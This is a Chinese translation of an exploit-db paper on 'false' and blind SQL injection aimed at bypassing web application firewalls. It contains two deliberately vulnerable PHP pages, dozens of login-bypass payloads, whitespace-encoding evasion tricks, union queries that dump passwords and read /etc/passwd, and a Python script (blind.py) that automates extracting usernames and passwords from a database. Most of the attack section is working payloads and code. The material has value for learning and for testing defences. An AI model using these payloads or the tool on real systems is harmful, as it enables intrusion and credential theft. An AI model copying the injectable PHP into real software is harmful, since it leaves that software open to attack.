False SQL Injection and Advanced Blind SQL Injection

wyzsk發表於2020-08-19
作者: Knight · 2014/12/15 10:21

0x00 背景


原文地址:http://www.exploit-db.com/papers/18263/

這篇文章是為介紹一種新的繞過web防火牆或安全解決方案的SQL隱碼攻擊的方法而編寫的。我(原文作者,下同)在一些韓國的防火牆上做了測試,大部分都能成功,我不會為減少影響而透露所測試的web防火牆的製造商。

閱讀本文件之前你需要先了解基本的MySQL原理。我將“SQL隱碼攻擊”歸類為兩類。第一類是一般的SQL隱碼攻擊,即我們通常所說的“真SQL隱碼攻擊”,第二類是“假SQL隱碼攻擊”。在本文件中,你將瞭解到一些“真SQL隱碼攻擊”的特點。

0x01 準備


我的方法(假SQL隱碼攻擊)與“盲注”中提到的真/假SQL隱碼攻擊的方法是真的不同的。測試的環境如下。

ubuntu server   11.04
mySQL       5.1.54-1
Apache      2.2.17
PHP     5.3.5-1

測試程式碼如下。

#!php
<?php

/*
create database injection_db;
use injection_db;
create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num));

insert into users values(1, 'admin', 'ad1234');
insert into users values(2, 'wh1ant', 'wh1234');
insert into users values(3, 'secuholic', 'se1234');

*** login.php ***
*/

if(empty($_GET['id']) || empty($_GET['password'])){
  echo "<html>";
  echo "<body>";
  echo "<form name='text' action='login.php' method='get'>";
  echo "<h4>ID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type='text' name='id'><br>";
  echo "PASS<input type='password' name='password'><br></h4>";
  echo "<input type='submit' value='Login'>";
  echo "</form>";
  echo "</body>";
  echo "</html>";
}

else{
  $id = $_GET['id'];
  $password = $_GET['password'];

  $dbhost = 'localhost';
  $dbuser = 'root';
  $dbpass = 'pass';
  $database = 'injection_db';

  $db = mySQL_connect($dbhost, $dbuser, $dbpass);
  mySQL_select_db($database,$db);
  $SQL = mySQL_query("select * from users where id='$id' and password='$password'") or die (mySQL_error());

  $row = mySQL_fetch_array($SQL);

  if($row[id] && $row[password]){
    echo "<font color=#FF0000><h1>"."Login sucess"."</h1></u><br>";
    echo "<h3><font color=#000000>"."Hello, "."</u>";
    echo "<font color=#D2691E>".$row[id]."</u></h3><br>";
  }
  else{
    echo "<script>alert('Login failed');</script>";
  }
  mySQL_close($db);
}

?>

首先,基本的SQL隱碼攻擊如下

' or 1=1#

The code above is general SQL Injection Code, and this writer classified the code as "True SQL Injection". When you log on to some site, in internal of web program, your id and password are identified by some statement used "select id, password from table where id='' and password='', you can easily understand when you think 0 about character single quotation mark. Empty space is same as 0, the attack is possible using = and 0. As a result, following statement enables log on process.

上面的程式碼是一般的SQL隱碼攻擊程式碼,我將這類程式碼歸為“真SQL隱碼攻擊”。當你登入網站的時候,在網站的內部程式中,你的ID和密碼會被一些語句用"select id, password from table where id='' and password=''"識別,如果你把單引號當做0你可以很容易地理解。空的空間與0是相等的,攻擊可以使用‘=’和‘0’。這樣一來,下面的語句就能完成登入過程。

'=0#

我們可以以不同的方式運用它。

因為0>-1,這一句也能成功。

'>-1#

同樣的,因為0<1,所以這一句也能成功。

'<1#

你不必只使用單一的數字。你可以像下面一樣使用兩個數字攻擊。

1'<99#

Comparison operation 0=1 will be 0, the following operation result is true because of id=''=0(0=1). 比較操作“0=1”的結果將會是0,又因為id=''=0,所以以下的操作結果是真。

'=0=1#

此外,還可以使用一些比較動作能使得兩邊的值相等。

'<=>0#

像這樣,如果你使用比較操作,你可以用額外的方式進行攻擊。

'=0=1=1=1=1=1#
'=1<>1#
'<>1#
1'<>99999#
'!=2!=3!=4#

0x02 不同的SQL操作


現在,你將開始理解False SQL injection。以下為MySQ操作,不是攻擊語句。

mySQL> select * from users;
+-----+-----------+----------+
| num | id        | password |
+-----+-----------+----------+
|   1 | admin     | ad1234   |
|   2 | wh1ant    | wh1234   |
|   3 | secuholic | se1234   |
+-----+-----------+----------+
3 rows in set (0.01 sec)

毫無疑問,它顯示了所有表中的返回內容。 以下是當你不輸入任何值在id欄位時的返回內容。

mySQL> select * from users where id='';
Empty set (0.00 sec)

因為在id欄位沒有任何字串,所以不會有返回結果。 事實上,從這裡我已經看到,如果在MySQL字串欄位為0的情況下,返回結果始終為真。根據這個現象,以下語句結果為真。

mySQL> select * from users where id=0;
+-----+-----------+----------+
| num | id        | password |
+-----+-----------+----------+
|   1 | admin     | ad1234   |
|   2 | wh1ant    | wh1234   |
|   3 | secuholic | se1234   |
+-----+-----------+----------+
3 rows in set (0.00 sec)

如果你在ID中輸入0,所有內容都將被顯示。這就是假SQL隱碼攻擊的原理。無論如何,結果為0(真)將使得登入成功。為了使結果為0(真),你需要一些東西處理整數,如使用位操作和算術運算。

下面是使用位運算的例子。

或位運算為任何程式設計師所熟知。正如我之前告訴過你的,''等於0。如果你計算“0或0”,結果還是0. 所以下面的假SQL隱碼攻擊能成功登入。

'|0#

當然,你也可以使用和運算。

'&0#

這是使用異或運算的攻擊方法

'^0#

同樣可以使用移位操作。

'<<0#
'>>0#

如果你喜歡使用位操作,你可以使用多種不同的攻擊方法。

'&''#
'%11&1#
'&1&1#
'|0&1#
'<<0|0#
'<<0>>0#

下面是使用算術運算的“假SQL隱碼攻擊”。 如果使用帶有''的算術運算的結果為0,攻擊將會成功。下面是一個使用算術運算的例子。

'*9#
乘法

'/9#
除法

'%9#
求餘

'+0#
加法

'-0#
減法

關鍵點在於結果必須小於1。你也可以使用如下語句攻擊。

'+27#
'+00#
'-0-0-0-0-0#
'*9*8*7*6*5#
'/2/3/4#
'%12%34%56%78#
'/**/+/**/0#
'-----0#
'+++0+++++0*0#

下一種攻擊方法使用的是函式功能。在這篇文章中,我無法向你們展示所有的函式。這個攻擊方式並不難,所以你們可以使用函式進行你們想要的真/假SQL攻擊。而這種攻擊是“真SQL隱碼攻擊”或是“假SQL隱碼攻擊”取決於函式返回後的最後一個操作。

'<hex(1)#
'=left(0x30,1)#
'=right(0,1)#
'!=curdate()#
'-reverse(0)#
'=ltrim(0)#
'<abs(1)#
'*round(1,1)#
'&left(0,0)#
'*round(0,1)*round(0,1)#

此外,您還可以將空格做為函式名進行攻擊。但你只能在某些函式中使用空格。

'=upper     (0)#

這一次,SQL的關鍵字是方法。這種方法根據情況視作為真或假SQL隱碼攻擊。

' <1 and 1#
'xor 1#
'div 1#
'is not null#
admin' order by'
admin' group by'
'like 0#
'between 1 and 1#
'regexp 1#

在id或password區域中沒有額外註釋的很可能是真的假SQL隱碼攻擊。一般的web防火牆只過濾#, --, /**/,因此該方法在web防火牆中更有效。

ID  : '='
PASS: '='

ID  : '<>'1
PASS: '<>'1

ID  : '>1='
PASS: '>1='

ID  : 0'='0
PASS: 0'='0

ID  : '<1 and 1>'
PASS: '<1 and 1>'

ID  : '<>ifnull(1,2)='1
PASS: '<>ifnull(1,2)='1

ID  : '=round(0,1)='1
PASS: '=round(0,1)='1

ID  : '*0*'
PASS: '*0*'

ID  : '+'
PASS: '+'

ID  : '-'
PASS: '-'

ID  :'1-'
PASS:'1-'

使用文字的攻擊比使用括號的攻擊在繞過web防火牆時會更有效。

'+(0-0)#
'=0<>((reverse(1))-(reverse(1)))#
'<(8*7)*(6*5)*(4*3)#
'&(1+1)-2#
'>(0-100)#

0x03 繞過

讓我們來看看一般的SQL隱碼攻擊。

' or 1=1#

如果被轉換為16進位制編碼,將會是這樣的。

http://127.0.0.1/login.php?id=%27%20%6f%72%20%31%3d%31%23&password=1234

像上面的攻擊基本都會被過濾。因此它不是好的攻擊方法,我將嘗試使用tab(%09)代替空格繞過過濾器。事實上。你還可以使用%a0代替%09

也可以使用以下的值。

%09
%0a
%0b
%0c
%0d
%a0
%23%0a
%23%48%65%6c%6c%6f%20%77%6f%6c%72%64%0a

以下是使用%A0代替%20的例子。

http://127.0.0.1/login.php?id=%27%a0%6f%72%a0%31%3d%31%23&password=1234

這一次,我將展示盲注的攻擊方法,這種攻擊可以繞過web防火牆過濾器,但一些攻擊者傾向於認為盲注不可能實現登入。所以我決定展示這個例子。

下面的攻擊程式碼能被用來登入頁面且頁面將顯示ID和密碼

'union select 1,group_concat(password),3 from users#

這個攻擊程式碼將顯示/etc/password的內容。

'union select 1,load_file(0x2f6574632f706173737764),3 from users#

我敢說在盲注中不使用union select也是可以的。

記錄的結果有三個。

admin' and (select count(*) from users)=3#

讓我們使用盲注繞過web防火牆。以下是一份有存在盲注漏洞的程式碼

#!php
<?php

  /*** info.php ***/

  $n = $_GET['num'];
  if(empty($n)){
    $n = 1;
  }

  $dbhost = 'localhost';
  $dbuser = 'root';
  $dbpass = 'root';
  $database = 'injection_db';

  $db = mySQL_connect($host, $dbuser, $dbpass);
  mySQL_select_db($database,$db);
  $SQL = mySQL_query("select * from `users` where num=".$n) or die (mySQL_error());
  $info = @mySQL_fetch_row($SQL);
  echo "<body bgcolor=#000000>";
  echo "<h1><font color=#FFFFFF>wh1ant</font>";
  echo "<font color=#2BF70E> site for blind SQL injection test</h1><br>";
  echo "<h1><font color=#2BF70E>num: </font><font color=#D2691E>".$info[0]."</font></h1>";
  echo "<h1><font color=#2BF70E>user: </font><font color=#D2691E>".$info[1]."</font>";
  echo "<body>";
  mySQL_close($db);

?>

像上面那樣的基本的盲注如下。

http://127.0.0.1/info.php?num=1 and 1=0
http://127.0.0.1/info.php?num=1 and 1=1

在Blind SQL Injection可以使用運算子=。

http://192.168.137.129/info.php?num=1=0
http://192.168.137.129/info.php?num=1=1

自然也能使用其它的運算子。

http://127.0.0.1/info.php?num=1<>0
http://127.0.0.1/info.php?num=1<>1

http://127.0.0.1/info.php?num=1<0
http://127.0.0.1/info.php?num=1<1

http://127.0.0.1/info.php?num=1*0*0*1
http://127.0.0.1/info.php?num=1*0*0*0

http://127.0.0.1/info.php?num=1%1%1%0
http://127.0.0.1/info.php?num=1%1%1%1

http://127.0.0.1/info.php?num=1 div 0
http://127.0.0.1/info.php?num=1 div 1

http://127.0.0.1/info.php?num=1 regexp 0
http://127.0.0.1/info.php?num=1 regexp 1

http://127.0.0.1/info.php?num=1^0
http://127.0.0.1/info.php?num=1^1

攻擊示例:

http://127.0.0.1/info.php?num=0^(locate(0x61,(select id from users where num=1),1)=1)
http://127.0.0.1/info.php?num=0^(select position(0x61 in (select id from users where num=1))=1)
http://127.0.0.1/info.php?num=0^(reverse(reverse((select id from users where num=1)))=0x61646d696e)
http://127.0.0.1/info.php?num=0^(lcase((select id from users where num=1))=0x61646d696e)
http://127.0.0.1/info.php?num=0^((select id from users where num=1)=0x61646d696e)
http://127.0.0.1/info.php?num=0^(id regexp 0x61646d696e)
http://127.0.0.1/info.php?num=0^(id=0x61646d696e)
http://127.0.0.1/info.php?num=0^((select octet_length(id) from users where num=1)=5)
http://127.0.0.1/info.php?num=0^((select character_length(id) from users where num=1)=5)

If I will show all attack, I have to take much time, So I stopped in this time. Blind SQL Injection is difficult manually, So using tool will be more effective. I will show a tool made python, this is an example using ^(XOR) bitwise operation. In order to make the most of detouring the web firewall, I replaced space with %0a.

展示所有的攻擊過程將會浪費我大量的時間,所以到此為止。手工盲注是很困難的,所以使用工具會更有效。下面是一個python寫的工具,這是一個使用異或運算的例子。為了繞過大多數的web防火牆,我將空格換成了%0a。

#!python

### blind.py ###

import urllib
import sys
import os



def put_data(true_url, true_result, field, index, length):
    for i in range(1, length+1):
        for j in range(32, 127):
            attack_url = true_url + "^(%%a0locate%%a0%%a0(0x%x,(%%a0select%%a0%s%%a0%%a0from%%a0%%a0users%%a0where%%a0num=%d),%d)=%d)" % (j,field,index,i,i)
            attack_open = urllib.urlopen(attack_url)
            attack_result = attack_open.read()
            attack_open.close()

            if attack_result==true_result:
                ch = "%c" % j
                sys.stdout.write(ch)
                break
    print "\t\t",

def get_length(false_url, false_result, field, index):
    i=0
    while 1:
        data_length_url = false_url + "^(%%a0(select%%a0octet_length%%a0%%a0(%s)%%a0from%%a0users%%a0where%%a0num%%a0=%%a0%d)%%a0=%%a0%d)" % (field,index,i)
        data_length_open = urllib.urlopen(data_length_url)
        data_length_result = data_length_open.read()
        data_length_open.close()
        if data_length_result==false_result:
            return i
        i+=1

url = "http://127.0.0.1/info.php"

true_url = url + "?num=1"
true_open = urllib.urlopen(true_url)
true_result = true_open.read()
true_open.close()

false_url = url + "?num=0"
false_open = urllib.urlopen(false_url)
false_result = false_open.read()
false_open.close()


print "num\t\tid\t\tpassword"
fields = "num", "id", "password"

for i in range(1, 4):
    for j in range(0, 3):
        length = get_length(false_url, false_result, fields[j], i)
        length = put_data(false_url, true_result, fields[j], i, length)
    print ""

很遺憾,攻擊測試很快就停止了。如果有人學過一些額外的攻擊程式碼,他將很容易地升級攻擊。

韓文原版http://wh1ant.kr/archives/[Hangul]%20False%20SQL%20injection%20and%20Advanced%20blind%20SQL%20injection.txt

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章